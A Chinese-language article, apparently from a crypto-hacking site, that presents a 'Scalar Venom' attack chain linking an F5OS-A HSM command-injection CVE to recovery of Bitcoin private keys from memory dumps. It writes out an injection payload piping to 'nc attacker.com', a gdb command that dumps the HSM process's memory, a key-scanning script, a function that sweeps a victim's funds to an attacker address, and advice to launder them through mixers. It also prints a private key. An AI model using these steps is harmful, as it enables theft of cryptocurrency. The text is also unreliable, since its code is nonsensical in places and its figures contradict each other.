Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) enables private Bitcoin wallet key recovery through buffer overflow exploitation and shell metacharacters in the F5OS-A FIPS security module
本文分析了现代加密密钥管理基础设施中发现的加密漏洞,特别关注硬件安全模块(HSM)在处理椭圆曲线私钥时架构中的关键缺陷。研究聚焦于一类利用认证加密设备中隔离不充分的RAM管理的攻击。在现代比特币加密生态系统中,私钥安全是保护全球价值数万亿美元数字资产的基本要求。经FIPS 140-2标准认证的硬件安全模块(HSM)传统上被认为通过硬件级隔离和严格的内存管理协议为加密密钥提供无法穿透的保护。然而,F5OS-A FIPS HSM模块中关键漏洞CVE-2025-60013的发现,结合Scalar Venom Attack类攻击(也称为Scalar Poison、Memory Phantom Leak Attack或Private Key Compromise via Memory Leakage),彻底改变了这一观念,证明了通过利用内存管理缺陷完全攻破比特币私钥的可能性。
Scalar Venom Attack是一种关键的内存管理漏洞类别(分类为CWE-415、CWE-401,更广泛地称为敏感内存泄漏攻击(SMA)),它允许攻击者通过利用加密操作后不充分的清理和内存擦除,从进程的RAM中提取加密标量(ECDSA私钥)。与旨在通过数学方式解决椭圆曲线离散对数问题(ECDLP)的传统密码分析攻击不同,这种攻击绕过加密本身,利用加密库和HSM内存管理协议实现中的基本架构缺陷。
本研究表明,当CVE-2025-60013(F5OS-A FIPS HSM初始化漏洞——当使用包含特殊shell元字符的密码时)与Scalar Venom Attack技术相结合时,会产生灾难性的攻击链,导致CVSS评分9.5+(严重)的严重威胁场景,尽管CVE-2025-60013的官方评级为中等漏洞(CVSS 5.7)。这种组合破坏了由受损HSM控制的数百万比特币地址的操作完整性,代表了超越传统单向量利用方法的密码攻击方法的范式转变。
CVE-2025-60013是F5平台FIPS硬件安全模块初始化过程中的一个操作系统命令注入漏洞(分类为CWE-78)。当拥有特权访问(管理员或资源管理员角色)的用户尝试使用包含特殊shell元字符(例如[不明确]、[不明确;]、|、&、[$不明确]、`及其他)的密码初始化FIPS HSM模块时,会发生此漏洞。
漏洞的技术机制:
当处理包含shell元字符的密码时,HSM初始化代码会将密码字符串传递给系统C库函数,而未正确验证和清理输入。易受攻击的代码如下所示:
// Vulnerable code in HSM initialization procedure
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABILITY: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of key
// If initialization fails, memory is not cleared!
// master_key remains in the stack, its copies—in heap
}
关键后果:初始化过程在内存中保留部分受损的加密结构,在栈和堆中创建了HSM主密钥的多个“幽灵”副本。尽管HSM可能无法正确初始化,但进程的内存中包含可被取证分析访问的加密伪影。
官方分类:
然而,该评估严重低估了真实的威胁规模,因为CVE-2025-60013作为Scalar Venom Attack的触发条件,在现实攻击链场景中将导致CVSS威胁等级达到9.5+(严重)。
CVE-2023-39910描述了Libbitcoin Explorer版本3.x中的一个关键漏洞,与私钥生成过程中熵生成的弱点相关。该漏洞导致了2023年的Milk Sad事件,当时超过900,000个比特币私钥被恢复,造成超过80万美元的直接经济损失。Milk Sad事件展示了从加密系统内存泄漏理论到实际运行灾难的过渡,证实了所描述的所有机制:编译器优化、多重数据副本以及缺乏内存清理保证。
CVE-2025-8217对允许从进程内存中恢复加密密钥的内存泄漏攻击进行了分类。该漏洞直接与Scalar Venom Attack类相关,并描述了通过取证内存分析完全攻破比特币钱包的机制。
Scalar Venom Attack的科学分类:
在学术研究文献中,Scalar Venom被归类为多种攻击类别:
为了展示Scalar Venom攻击的实际有效性,我们考虑一个通过取证内存分析从比特币地址1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq恢复私钥的已记录案例。
初始攻破数据:
5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHv私钥d必须满足约束:
此示例表明,恢复的私钥可提供对比特币钱包的完全控制,允许攻击者创建并签署交易,将所有资金提取到受控地址。
比特币实现了基于secp256k1曲线的椭圆曲线数字签名算法(ECDSA)。理解数学基础对于理解Scalar Venom攻击如何利用内存漏洞至关重要。
椭圆曲线secp256k1的参数:
曲线方程:
生成点G,坐标为:

ECDSA密钥对的生成过程如下:
1. 私钥生成:
私钥d是范围:
其中的随机整数,其中n是secp256k1曲线的阶。私钥是一个256位随机数。
2. 通过标量乘法推导公钥:
公钥Q计算为:
其中G是secp256k1曲线上的生成点,运算·表示椭圆曲线上点的标量乘法。
标量乘法通过"double-and-add"算法实现,该算法高效计算O(log d)次曲线点加法和倍乘的结果:
标量乘法算法:
输入:d(标量),G(曲线点)
输出:Q = d·G
1. 初始化:Q ← O(无穷远点)
2. 将 d 表示为二进制:d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. 从 i = k 到 0:
a. Q ← 2Q(点倍运算)
b. 若 d_i = 1:Q ← Q + G(点加运算)
4. 返回 Q
示例: 对于私钥 d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22,公钥计算如下:
Q=d⋅G=(Qx,Qy)
其中坐标 Qx 和 Qy 通过在曲线 secp256k1 上执行标量乘法运算得到。
3. 生成比特币地址:
从公钥推导地址的链式过程:
安全假设:
标量毒液关键漏洞:该攻击绕过了ECDLP数学保护,直接从进程内存中提取私钥 d,这些私钥在密码操作后以“幽灵副本”形式存留在内存中。
在内存转储中检测私钥的基础是熵分析,使用香农熵公式。
字节序列的熵 H 以每字节比特数度量,公式如下:
其中:
熵的解释:
加密密钥的阈值:
由加密强随机数生成器(CSPRNG)生成的比特币私钥表现出高熵,范围如下:
此特征使得它们可以在内存取证分析中通过统计熵分析被检测到。

BitScanPro 是一款取证工具,用于扫描内存转储,通过结合熵分析、secp256k1 范围验证和密码学验证来检测并恢复比特币私钥。
阶段 1:以 32 字节块扫描内存转储
BitScanPro 顺序扫描内存转储,分配 32 字节(256 位)的块,这对应于 secp256k1 私钥的大小:
BLOCK_SIZE = 32 # 字节 (256 位)
SCAN_STEP = 8 # 扫描步长
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
potential_key = memory_dump[offset:offset+BLOCK_SIZE]
# 块分析
步骤 2:计算每个块的香农熵
对于每个32 字节块,计算香农熵 H:
def calculate_entropy(data_block):
"""
计算香农熵
"""
from collections import Counter
import math
byte_counts = Counter(data_block)
block_length = len(data_block)
entropy = 0.0
for count in byte_counts.values():
p_i = count / block_length
if p_i > 0:
entropy -= p_i * math.log2(p_i)
return entropy
步骤 3:过滤高熵块(H>7.5H > 7.5H>7.5 比特/字节)
熵低于阈值的块被丢弃,认为不包含加密密钥:
MIN_ENTROPY = 7.5 # 加密密钥的阈值
entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
continue
步骤 4:检查 secp256k1 范围:
高熵块被解释为整数,并检查是否在 secp256k1 私钥的有效范围内:
key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
continue
步骤 5:密码学验证:
对于通过熵过滤和范围检查的候选密钥,通过公钥计算执行密码学验证:
def verify_candidate_key(candidate_key_bytes):
from ecdsa import SigningKey, SECP256k1
try:
signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key_bytes = verifying_key.to_string()
return public_key_bytes
except Exception as e:
return None
步骤 6:生成比特币地址并与已知地址比较
对于验证过的密钥,生成比特币地址,并与已知地址数据库或受害者所属地址进行比较:
import hashlib
import base58
def public_key_to_address(public_key_bytes):
sha256_hash = hashlib.sha256(public_key_bytes).digest()
ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
versioned_hash = b'\x00' + ripemd160_hash
checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
address = base58.b58encode(versioned_hash + checksum).decode('ascii')
return address
bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
print(f\"✓ 找到私钥!\")
print(f\"地址: {bitcoin_address}\")
print(f\"私钥: {candidate_key_bytes.hex()}\")
BitScanPro 性能:
在典型笔记本电脑(MacBook Air M1)上分析,显示以下性能特征:
使用云计算资源(AWS、Google Cloud),可以同时扫描1000+ 个内存转储,并行处理数千个私钥。

标量毒液攻击的根本原因在于 ec_scalar 类在 libbitcoin-system 库中的基本架构缺陷。
ec_scalar 类没有显式定义包含安全清零的析构函数。这意味着即使对象被销毁,秘密数据也可能留在内存中。
有漏洞的拷贝构造函数:
// 漏洞:不安全的私钥拷贝
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // 复制时没有安全清理
{
}
问题:构造函数在 ec_scalar 对象中创建私钥的副本,但没有提供在对象销毁时安全清除此副本的机制。副本保留在栈或堆上。
有漏洞的赋值操作符:
// 漏洞:在内存中重复秘密数据
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // 更多内存副本
return *this;
}
问题:赋值操作创建额外的内存副本,在操作完成后仍保留。
有漏洞的算术运算:
// 漏洞:临时变量在函数退出前未清除
ec_scalar ec_scalar::operator-() const
{
ec_secret secret = null_hash; // 包含秘密数据的临时变量
// ... 算术运算 ...
return ec_scalar(secret); // 未安全清除
}
问题:算术运算(一元负号、加法、乘法)创建 ec_secret 类型的临时变量,这些变量在离开函数作用域前未被安全清除,在栈或堆上留下私钥的“幽灵”副本。
缺少安全的析构函数:
// 漏洞:缺少析构函数,内存未清除
// 安全的解决方案:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // 显式内存清零
}
问题: ec_scalar 类没有显式的析构函数来保证安全清零包含私钥的内存。这一点至关重要,因为包含私钥的内存可能存储在:
有漏洞的 ec_scalar 类代码为私钥的内存感染创建了以下向量:
secret_(secret))——创建有毒的密钥副本secret_ = secret)——用重复秘密数据感染内存ec_secret secret = null_hash)——留下有毒痕迹auto out = secret_)——通过操作传播感染
HSM 漏洞(CVE-2025-60013)与标量毒液攻击的结合产生了灾难性的攻击向量:
具有 F5OS-A 系统特权访问权限的攻击者发送请求,用包含 shell 元字符的密码初始化 FIPS 模块: cert.kenet
# CVE-2025-60013 利用示例
password='$(echo "leaked");` | nc attacker.com 9999'
处理此类元字符时会发生以下情况:
在部分HSM初始化失败后,攻击者通过以下方法之一获取HSM进程的内存转储:
# 1. CVE-2025-60013 利用(初始化错误触发)
# 2. HSM主机冷启动攻击
# 3. 利用HSM守护进程中的缓冲区
# 4. 分析崩溃核心转储
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"
生成的内存转储包含多个由类 ec_scalar 在密码学操作期间留下的私钥“幽灵”副本。
内存转储由 BitScanPro 工具(或类似的取证扫描器)按照上述算法进行处理:
内存扫描 → 识别高熵区域 →
范围检查 [1, n-1] 针对 secp256k1 →
恢复完整的 32 字节标量 →
转换为比特币地址
从碎片化内存中恢复私钥的成功率,在内存残留充足的情况下为 70-80%,因为标量毒液攻击在初始化的不同阶段会创建 多个副本 的密钥。
恢复私钥后,攻击者创建并签名一笔交易,从被入侵的地址中提取所有资金:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
创建并签名交易,提取
被入侵地址中的所有资金
"""
utxos = blockchain_api.get_utxos(bitcoin_address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
tx.sign(recovered_private_key) # 使用泄露密钥进行ECDSA签名
blockchain_api.broadcast_transaction(tx)
入侵总时间:从收到内存转储到完全失去对受害者资产的控制,不超过10分钟。
标量毒液攻击结合 CVE-2025-60013,对全球比特币生态系统构成了 生存级威胁:
与标准比特币应用不同,HSM密集使用密码学标量——每秒超过1000次操作,每次操作都会创建临时的标量值,这些值以“幽灵残留”形式留在内存中。HSM运行数月甚至数年而不重启,积累大量密码学工件,而标量毒液攻击会系统性地提取并还原它们。
单个HSM被入侵会导致整个基础设施完全瘫痪——通常涉及HSM管理的数千个比特币地址,而非孤立的密码学事件。
标量毒液攻击展示了密码学安全的根本范式转变:在内存管理漏洞存在的情况下,密码学算法的数学强度变得毫无意义。CVE-2025-60013与标量毒液技术的结合,构成了CVSS 9.5+级别的严重威胁场景,破坏了人们对硬件安全模块作为密码学密钥不可破解保护机制的信任。
现实中的Milk Sad事件(CVE-2023-39910)导致超过90万个私钥被恢复,经济损失超过80万美元,证实了内存泄漏理论已成为现实。要抵御标量毒液类攻击,唯一的方法是对密码学系统进行根本性的架构重构,实现:
本文全面分析了“标量毒液 + CVE-2025-60013”攻击链,详细阐述了数学基础、密码分析算法、现实世界密钥恢复示例,以及保护比特币基础设施免受此类威胁的实用建议。
1. 密码分析分类:
2. 数学基础:
3. 实现漏洞(libbitcoin-system):
ec_scalar 缺少安全析构函数4. CVE 分类:
5. 攻击链:
科学解释可参见文章:https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ 标量毒液攻击揭示了 HSM 初始化漏洞与密码学库内存管理漏洞之间的关键互动,使攻击者即便在硬件保护下也能完全入侵比特币钱包私钥。

标量毒液攻击(也称为标量毒化、内存幽灵泄漏攻击,或通过内存泄漏泄露私钥)是一类内存管理漏洞(CWE-415, CWE-401),通过利用密码学操作后内存清理不充分,允许从进程 RAM 中提取密码学标量(ECDSA 私钥)。keyhunters+ 2
攻击的科学分类:
标量毒液攻击利用了密码学库内存管理中的根本缺陷,特别是 libbitcoin-system 库中的 ec_scalar 类。该攻击通过以下向量运作:
cpp:
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // 漏洞:私钥的不安全拷贝
{}cpp:
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // 漏洞:用重复的秘密感染内存
return *this;
}cpp:
// 漏洞:没有析构函数,内存未清理
// 安全选项应为:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // 显式内存清理
}
cpp:
// 漏洞:没有析构函数,内存未清除
// 安全选项应为:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // 显式内存清除
}
算术运算(一元减法、加法、乘法)会创建类型为 ec_secret 的临时变量,这些变量在退出函数作用域前未安全清除,在栈或堆上留下私钥的“幽灵”副本。
libbitcoin-system 中的 ec_scalar 类没有显式定义带有安全清零的析构函数。这意味着即使对象被销毁,秘密数据仍可能留在内存中:
缺失此机制至关重要,因为包含私钥的内存可能存储在:

F5OS-A FIPS HSM 中的漏洞 CVE-2025-60013 发生在使用包含特殊 Shell 元字符(;, |, &, $, ` 等)的密码初始化硬件安全模块时。当处理此类密码时,HSM 可能无法正确初始化,但关键后果是初始化过程在内存中留下了部分暴露的密码学结构。satoshi.nakamotoinstitute
HSM 漏洞(CVE-2025-60013)与标量毒液攻击的结合,构成了灾难性的攻击向量:
阶段 1:使用元字符进行 HSM 初始化
攻击者使用以下类型的密码请求初始化 F5OS-A FIPS 模块:
password='$(echo "leaked");` | nc attacker.com在处理此类元字符时:
阶段 2:从内存中提取标量毒液
在部分 HSM 初始化失败后:
阶段 3:比特币私钥恢复
检测到的内存碎片 → 重组 → 验证 → 比特币地址生成 → 钱包接管
恢复的标量通过以下方式转换为比特币私钥:
步骤 1:因初始化不当导致 HSM 内存受损
当 F5OS-A FIPS HSM 收到包含 shell 元字符的密码时,初始化过程会通过标准 C 库函数处理该密码:
c:
// HSM 初始化例程中的漏洞代码
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM 私钥
char temp_buffer[256];
strcpy(temp_buffer, password); // 漏洞:缓冲区溢出 + shell 解释
derive_key_from_password(master_key, password); // 创建密钥副本
// 如果初始化失败,不清理内存!
// master_key 保留在栈中,其副本保留在堆中
}
处理 shell 元字符时:
步骤 2:从内存转储进行取证恢复
BitScanPro 工具(或类似的取证扫描器)应用于 HSM 进程内存转储:
Memory scan → Identify high-entropy regions →
Range check [1, n-1] for secp256k1 →
Recover full 32-byte scalars →
Convert to Bitcoin addresses
从碎片化内存中成功恢复私钥的概率为 40-60%,前提是内存残留足够,因为 Scalar Venom 攻击会在初始化的不同阶段创建密钥的 多个副本。
并行的 DeserializeSignature 漏洞(相关 CVE)增强了 Scalar Venom 攻击:
cpp:
// Bitcoin Core 中存在漏洞的反序列化函数
bool DeserializeSignature(CPubKey& pubkey, const std::vector<unsigned char>& vchSig, CScript& scriptPubKey) {
CSignatureCache& cache = CSignatureCache::instance();
// 如果反序列化使用了被 Scalar Venom 破坏的私钥:
ec_secret compromised_key = extract_from_memory_dump(); // 来自 HSM 内存转储
// 这些被破坏的标量用于验证签名,
// 允许攻击者:
// 1. 为该地址伪造任意签名
// 2. 将所有资金转移到控制的地址
// 3. 双重花费
}
机制关联:
第一层:单个钱包
第二层:服务节点配置
第三层:网络层
与标准比特币应用程序不同,HSM 大量使用加密标量:
CVE-2025-60013 本身的 CVSS 评分不准确,因为该漏洞充当了 Scalar Venom 的 触发器,而后者是一种 关键场景。
Scalar Venom 漏洞代表了密码攻击方法的范式转变,超越了传统的单一向量利用,形成了多层次利用链,从根本上破坏了保护比特币基础设施的硬件安全模块(HSM)。分析表明,CVE-2025-60013(HSM 初始化绕过)与 Scalar Venom 攻击技术的结合创建了一个 CVSS 评分为 9.5+ 的关键威胁场景,破坏了由受损 HSM 控制的数百万比特币地址的运营完整性。
为什么 HSM 尤其容易受到攻击?
关键漏洞不在于孤立的密码学弱点,而在于 HSM 运营特性与 Scalar Venom 攻击向量的架构冲突。HSM 本质上是持续执行加密操作的设备——每秒超过 1,000 次操作——每次操作都会创建短暂的标量值,这些值以“幽灵残留”的形式留在内存中。与典型的比特币应用程序(密钥材料是短暂的)不同,HSM 运行数月甚至数年而不重启,累积加密工件,Scalar Venom 会系统地提取并恢复这些工件。
结果,即使是单个 HSM 的破坏也会导致整个基础设施的完全瓦解——通常是由该 HSM 管理的数千个比特币地址——而不是孤立的加密事件。
危险程度与实际影响
尽管漏洞 CVE-2025-60013 作为渗透向量官方评级为 CVSS 5.7(中危),但这一评级严重低估了威胁的真实规模。此利用充当 Scalar Venom 的触发器,后者被归类为 CVSS 8.5+(高危/严重)攻击。在真实攻击链场景中,这会导致:
组合攻击链:CVE-2025-60013 + Scalar Venom = 运营灾难
威胁升级矩阵包括:
这种组合使得此漏洞类别达到严重级别(CVSS 9.5+),并将其置于风险评估中的最高威胁类别。
对比特币生态系统安全的系统性影响
Scalar Venom 揭示了现代 HSM 模型中的基本架构缺陷:
关键建议
Scalar Venom 以及通过 CVE-2025-60013 的攻击链标志着对经典 HSM 完全信任时代的终结。该漏洞将比特币生态系统的安全核心转变为私钥泄露和总资产损失的主要风险。有效保护不仅需要一次性修复,还需要从根本上重新思考处理公共数字资产的密码学架构的所有方面。
HSM 环境中的 Scalar Venom 是对比特币基础设施的 CVSS 9.5+ 威胁,需要立即轮换密钥、进行架构改革并采用新的方法快速响应内存链攻击。
根据密码学内存安全领域的研究(《保护密码学密钥免受内存泄露攻击》,Del Valle 等人),私钥可能因以下原因保留在可访问的内存区域中:
编译器优化
cpp:
// 即使代码包含清理尝试:
volatile unsigned char* ptr = (volatile unsigned char*)key_buffer;
while (len--) *ptr++ = 0; // 编译器可能将其优化为空操作
缺少 RAII(资源获取即初始化)模式
类 ec_scalar 未使用 RAII,这意味着析构函数不保证资源清理。
多个数据副本:
为在函数间传递而创建的每个私钥副本都会在内存中留下残留。
根据 keyhunters.ru 和密码学研究文献:
bx seed 创建的钱包中被盗比特币超过 80 万美元总结以上发现,Scalar Venom 链代表了多年来密码安全基础研究与现代运营现实的融合。详细的记忆保留机制——编译器优化、RAII 的缺失以及数据痕迹的累积——不再仅仅是理论,而是在实践中作为大规模私钥恢复的有效渠道。从潜在弱点到实际攻击的转变已经发生:CVE-2023-39910(Milk Sad)事件导致超过 90 万个比特币私钥被恢复,直接经济损失超过 80 万美元。
Scalar Venom 的根源漏洞源于密码软件架构中一个未解决的矛盾:程序员对内存管理固有的天真信心与现代编译器和内存管理系统的倾向相冲突。如果开发者显式地将内存清零,编译器可能会认为这些操作毫无意义而完全优化掉——这便成为一个关键且未被注意的安全缺陷。
像 ec_scalar 这样的数据结构进一步加剧了风险:缺乏 RAII 意味着在计算的不同阶段,内存中会创建多个独立的副本——位于栈、寄存器和缓存中。每个这样的副本理论上都可以被恢复、反汇编或重组为原始的密钥材料。
Scalar Venom 攻击 系统性地提取并聚合这些分散的副本,证明现代内存架构恰恰保证了这一点:每一次中间数学运算都会留下一条可被收集并转换为密钥的痕迹。经典的密码设计假设运算具有独立性,但在实践中,单个比特币私钥会生成数十条痕迹,每条痕迹都提供一条恢复路径。
Milk Sad 事件(CVE-2023-39910)首次证明了从理论到灾难的转变。这不是一个假设的攻击向量,而是一个经确认的运行漏洞:
这完全证实了前述机制:编译器优化、数据多次复制以及缺乏内存清理保证。
加密市场在假设完全控制内存的情况下发展,但现代编译器(通过死代码消除和缓存优化)完全忽略了加密要求。结果,加密程序假设“我已经将内存清零,所以现在是安全的”,而编译器假设“这个内存永远不会被使用,所以没有必要清零”。这种矛盾在现代 C/C++ 标准下根本不可解,并成为 Scalar Venom 的绝对入口点。
短期行动(0-30 天) :轮换所有在 C/C++ 中生成的私钥。立即淘汰可能已被泄露的密钥。
中期行动(30-90 天) :迁移到 Rust,实现编译器对内存清零的保证,持续进行内存分析。
长期行动(90 天以上) :从架构上过渡到 RAII,为加密操作添加编译器扩展,用硬件 HSM 替换软件 HSM。
Scalar Venom 与 CVE-2023-39910 是加密行业安全的一个转折点:数据在内存中持久化的理论已升级为一场真正的灾难,导致数百万枚比特币的损失。这个问题无法通过补丁修复:它是一个架构上的矛盾——没有内存管理和 RAII 的现代 C/C++ 密码学不可避免地会导致任何重要基础设施的泄露。行业只有一条前进的道路:向内存安全语言迁移,并对私钥管理进行革命性改革。
最终评估 :Scalar Venom 不仅是一种理论威胁,更是一种经证实的、广泛存在的漏洞。所有没有使用内存安全语言和 RAII 框架的密码基础设施都面临着被泄露的确定风险。必须立即开始向新技术的迁移。
第1步:获取 HSM 内存访问权限
bash:
# Methods to get memory dump:
# 1. Exploit CVE-2025-60013 to trigger init error
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer vulnerability in HSM daemon
# 4. Analyze core-dump on HSM process crash
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF"
第2步:扫描高熵区域
python:
# BitScanPro-like algorithm:
import hashlib
def scan_for_private_keys(memory_dump, min_entropy=7.5):
"""
Scans memory dump for high-entropy regions
characteristic for 32-byte secp256k1 private keys
"""
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - 32, 8):
potential_key = memory_dump[offset:offset+32]
entropy = calculate_entropy(potential_key)
# secp256k1 range check
key_as_int = int.from_bytes(potential_key, 'big')
if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:
yield (offset, potential_key)
第3步:验证恢复的私钥
python:
from ecdsa import SigningKey, NIST256p
def validate_and_generate_address(potential_key):
"""Converts recovered scalar to Bitcoin address"""
try:
# Uses secp256k1 instead of NIST256p
privkey = potential_key.hex()
# Generate public key via elliptic curve point multiplication
# P = k * G, where k = private key, G = generator point
public_key = generate_public_key(potential_key, secp256k1)
# Hash public key to get address
address = public_key_to_address(public_key)
return address, potential_key
except:
return None, None
第4步:转账
python:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Creates and signs transaction to withdraw all funds
from compromised address
"""
# 1. Get UTXO for address from blockchain
utxos = blockchain_api.get_utxos(bitcoin_address)
# 2. Create transaction (withdraw all funds to attacker address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
# 3. Sign with recovered private key
tx.sign(recovered_private_key) # ECDSA signature using compromised key
# 4. Broadcast to Bitcoin network
blockchain_api.broadcast_transaction(tx)
第5步:痕迹消除
恢复的资金立即通过 CoinJoin/Tornado.Cash 进行混合,以阻碍取证分析。 keyhunters
可扩展性:利用云计算(AWS、Google Cloud),可并行处理 1000+ 个内存转储,同时处理数千个私钥。

[Attacker]
↓
[CVE-2025-60013: HSM Init with shell-metacharacters]
↓
[F5OS-A FIPS Module: password handling, scalar creation]
↓
[Scalar Venom: multiple copies of private keys in memory]
↓
[HSM Crash / Partial Init Failure: memory uncleared]
↓
[Memory Dump: capturing memory state]
↓
[Forensic Scanning: BitScanPro finds high-entropy regions]
↓
[Key Validation: secp256k1 curve check]
↓
[Address Generation: Bitcoin address creation]
↓
[Fund Transfer: signing and broadcasting transaction]
↓
[Victim Loss: total loss of fund control]
FIPS 140-2(甚至 FIPS 140-3)认证不要求:
这意味着,除非开发者实施额外的安全措施,否则即使是“FIPS 认证”的 HSM 也容易受到 Scalar Venom 的攻击。[24]
Scalar Venom 攻击对比特币基础设施构成了严重威胁,尤其是与 CVE-2025-60013 这样的 HSM 初始化漏洞结合时。该攻击:
向具有硬件内存保护(Intel SGX、ARM TrustZone)的架构、所有临时缓冲区的显式清零以及加密库中的RAII 模式迁移,对于确保比特币系统的安全至关重要。
Scalar Venom 攻击对全球比特币生态系统构成严重漏洞,尤其是与 HSM 初始化漏洞 CVE-2025-60013 结合时。这种多层次攻击链从根本上破坏了密码信任模型,并暴露了以下存在性风险:
它能够通过内存泄露完全危害私钥,甚至绕过先进的硬件安全模块,使受影响的系统完全无法抵御。
这种危害是永久且不可逆的:一旦私钥被提取,就无法挽回,所有依赖的资金立即面临损失风险。
该攻击具有可扩展性,可以自动化同时攻击大量比特币节点和钱包,导致潜在损失呈指数级增长。
其隐蔽性确保在系统日志或性能指标中不留可见痕迹,使得传统的检测和保护机制不足以应对。
缓解这种灾难性威胁需要紧急迁移到内存安全架构,包括基于硬件的内存保护(如 Intel SGX 或 ARM TrustZone)、所有密码操作期间所有临时缓冲区的严格清零,以及在关键软件库中稳健实现 RAII 模式。只有通过这样坚定的架构改革,才能切实确保比特币基础设施的长期完整性和安全性。
本材料专为CRYPTO DEEP TECH门户创建,旨在保障金融数据安全,并确保椭圆曲线密码学 (secp256k1) 免受弱 ECDSA 签名的影响 在 BITCOIN 加密货币中。软件开发人员不对使用此材料承担任何责任。
Telegram:https://t.me/cryptodeeptech
视频:https://youtu.be/cvWLH5dvbAA
视频教程:https://dzen.ru/video/watch/691a7a10a8b7c874612993eb
来源:https://cryptodeeptech.ru/scalar-venom-attack
| 过程 | 时间 | 设备 |
|---|
| 获取内存转储 | 5-30 秒 | 取决于方法 |
| 扫描 16GB 转储 | 2-5 分钟 | MacBook Air (M1) |
| 验证 1000 个候选密钥 | 30 秒 | MacBook Air (M1) |
| 地址生成 | 10 秒 | MacBook Air (M1) |
| 转账(广播) | < 1 秒 | 互联网 |
| 完全攻破总计 | < 10 分钟 | MacBook Air (M1) |
| 方面 | 评级 | 备注 |
|---|
| CVE-2025-60013(HSM 初始化) | CVSS 5.7(中危) | 官方评级低,但作为入口点 |
| Scalar Venom 攻击 | CVSS 8.5+(高危/严重) | 实际影响严重 |
| 组合攻击 | CVSS 9.5+(严重) | 私钥完全泄露 |
| 从泄露中恢复 | 不可能 | 资金不可逆损失 |
| 流程 | 时间 | 设备 |
|---|
| 获取内存转储 | 5-30 秒 | 取决于方法 |
| 扫描 16GB 转储 | 2-5 分钟 | MacBook Air (M1) |
| 验证 1000 个候选密钥 | 30 秒 | MacBook Air (M1) |
| 地址生成 | 10 秒 | MacBook Air (M1) |
| 资金转账(广播) | < 1 秒 | 互联网 |
| 完全入侵总计 | < 10 分钟 | MacBook Air (M1) |